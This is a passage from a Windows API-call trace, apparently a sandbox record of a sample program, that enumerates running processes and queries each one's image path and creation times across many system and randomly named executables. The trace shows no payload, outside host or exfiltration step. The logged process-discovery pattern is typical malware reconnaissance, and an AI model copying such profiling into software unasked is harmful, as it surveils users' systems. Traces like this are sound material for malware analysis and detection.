QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x179188) returned 1 [0245.090] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\spoolsv.exe" | out: _Dest="C:\\Windows\\System32\\spoolsv.exe") returned="C:\\Windows\\System32\\spoolsv.exe" [0245.090] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.090] CloseHandle (hObject=0x100) returned 1 [0245.090] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.091] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b0) returned 0x100 [0245.091] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.091] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x179188) returned 1 [0245.091] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\taskhost.exe" | out: _Dest="C:\\Windows\\System32\\taskhost.exe") returned="C:\\Windows\\System32\\taskhost.exe" [0245.091] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.091] CloseHandle (hObject=0x100) returned 1 [0245.091] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.092] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c8) returned 0x100 [0245.092] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.092] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.093] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.093] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.093] CloseHandle (hObject=0x100) returned 1 [0245.093] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0245.093] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0x100 [0245.093] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.094] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpdwSize=0x179188) returned 1 [0245.094] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" [0245.094] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.094] CloseHandle (hObject=0x100) returned 1 [0245.094] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.095] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0x100 [0245.095] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.095] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x179188) returned 1 [0245.095] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0245.095] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.095] CloseHandle (hObject=0x100) returned 1 [0245.095] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.159] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x100 [0245.159] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0245.159] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0245.159] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.159] CloseHandle (hObject=0x100) returned 1 [0245.159] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.160] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x22c) returned 0x100 [0245.160] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.160] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.161] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.161] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.161] CloseHandle (hObject=0x100) returned 1 [0245.161] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.162] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0x100 [0245.162] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0245.162] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0245.162] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.162] CloseHandle (hObject=0x100) returned 1 [0245.162] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0245.163] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0x100 [0245.163] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.163] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\sppsvc.exe", lpdwSize=0x179188) returned 1 [0245.163] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\sppsvc.exe" | out: _Dest="C:\\Windows\\System32\\sppsvc.exe") returned="C:\\Windows\\System32\\sppsvc.exe" [0245.163] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.163] CloseHandle (hObject=0x100) returned 1 [0245.163] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="linegood.exe")) returned 1 [0245.164] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ac) returned 0x100 [0245.164] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" (normalized: "c:\\program files (x86)\\windows defender\\linegood.exe")) returned 0x34 [0245.165] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\linegood.exe") returned="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" [0245.165] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.165] CloseHandle (hObject=0x100) returned 1 [0245.165] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="no_nothing.exe")) returned 1 [0245.165] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0x100 [0245.165] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" (normalized: "c:\\program files (x86)\\windows defender\\no_nothing.exe")) returned 0x36 [0245.166] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe") returned="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" [0245.166] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.166] CloseHandle (hObject=0x100) returned 1 [0245.166] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="form remember evening.exe")) returned 1 [0245.167] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9bc) returned 0x100 [0245.167] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\form remember evening.exe" (normalized: "c:\\program files\\dvd maker\\form remember evening.exe")) returned 0x34 [0245.167] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\form remember evening.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\form remember evening.exe") returned="C:\\Program Files\\DVD Maker\\form remember evening.exe" [0245.167] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.167] CloseHandle (hObject=0x100) returned 1 [0245.167] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="study-reality-mission.exe")) returned 1 [0245.168] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9c8) returned 0x100 [0245.168] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\study-reality-mission.exe")) returned 0x45 [0245.168] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" [0245.168] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.168] CloseHandle (hObject=0x100) returned 1 [0245.168] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="field.exe")) returned 1 [0245.169] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x100 [0245.169] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\field.exe")) returned 0x39 [0245.169] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe") returned="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" [0245.169] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.169] CloseHandle (hObject=0x100) returned 1 [0245.170] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="apply-wear-benefit.exe")) returned 1 [0245.170] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e0) returned 0x100 [0245.170] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" (normalized: "c:\\program files (x86)\\windows defender\\apply-wear-benefit.exe")) returned 0x3e [0245.171] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe") returned="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" [0245.171] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.171] CloseHandle (hObject=0x100) returned 1 [0245.171] malloc (_Size=0x8d00) returned 0x1c846d0 [0245.171] free (_Block=0x1c80048) [0245.171] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="law-stay.exe")) returned 1 [0245.172] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ec) returned 0x100 [0245.172] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\law-stay.exe" (normalized: "c:\\program files\\common files\\law-stay.exe")) returned 0x2a [0245.172] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\law-stay.exe" | out: _Dest="C:\\Program Files\\Common Files\\law-stay.exe") returned="C:\\Program Files\\Common Files\\law-stay.exe" [0245.172] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.172] CloseHandle (hObject=0x100) returned 1 [0245.173] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="wife_heat.exe")) returned 1 [0245.173] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x100 [0245.173] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Media Player\\wife_heat.exe" (normalized: "c:\\program files\\windows media player\\wife_heat.exe")) returned 0x33 [0245.174] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Media Player\\wife_heat.exe" | out: _Dest="C:\\Program Files\\Windows Media Player\\wife_heat.exe") returned="C:\\Program Files\\Windows Media Player\\wife_heat.exe" [0245.174] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.174] CloseHandle (hObject=0x100) returned 1 [0245.174] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="interview nothing work.exe")) returned 1 [0245.174] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa04) returned 0x100 [0245.174] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" (normalized: "c:\\program files\\windowspowershell\\interview nothing work.exe")) returned 0x3d [0245.175] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe") returned="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" [0245.175] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.175] CloseHandle (hObject=0x100) returned 1 [0245.175] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="your hit sense.exe")) returned 1 [0245.176] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa10) returned 0x100 [0245.176] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\your hit sense.exe" (normalized: "c:\\program files\\windows journal\\your hit sense.exe")) returned 0x33 [0245.176] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Journal\\your hit sense.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\your hit sense.exe") returned="C:\\Program Files\\Windows Journal\\your hit sense.exe" [0245.176] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.176] CloseHandle (hObject=0x100) returned 1 [0245.176] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leftparticularly.exe")) returned 1 [0245.177] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x100 [0245.177] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\leftparticularly.exe")) returned 0x40 [0245.177] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" [0245.177] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.177] CloseHandle (hObject=0x100) returned 1 [0245.177] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="must-issue.exe")) returned 1 [0245.178] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa28) returned 0x100 [0245.178] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Mail\\must-issue.exe" (normalized: "c:\\program files\\windows mail\\must-issue.exe")) returned 0x2c [0245.178] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Mail\\must-issue.exe" | out: _Dest="C:\\Program Files\\Windows Mail\\must-issue.exe") returned="C:\\Program Files\\Windows Mail\\must-issue.exe" [0245.178] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.178] CloseHandle (hObject=0x100) returned 1 [0245.179] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="call_order_arrive.exe")) returned 1 [0245.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa34) returned 0x100 [0245.179] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" (normalized: "c:\\program files (x86)\\windows nt\\call_order_arrive.exe")) returned 0x37 [0245.180] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe") returned="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" [0245.180] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.180] CloseHandle (hObject=0x100) returned 1 [0245.180] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="natural_reach_decide.exe")) returned 1 [0245.180] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa40) returned 0x100 [0245.180] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" (normalized: "c:\\program files\\windows sidebar\\natural_reach_decide.exe")) returned 0x39 [0245.181] 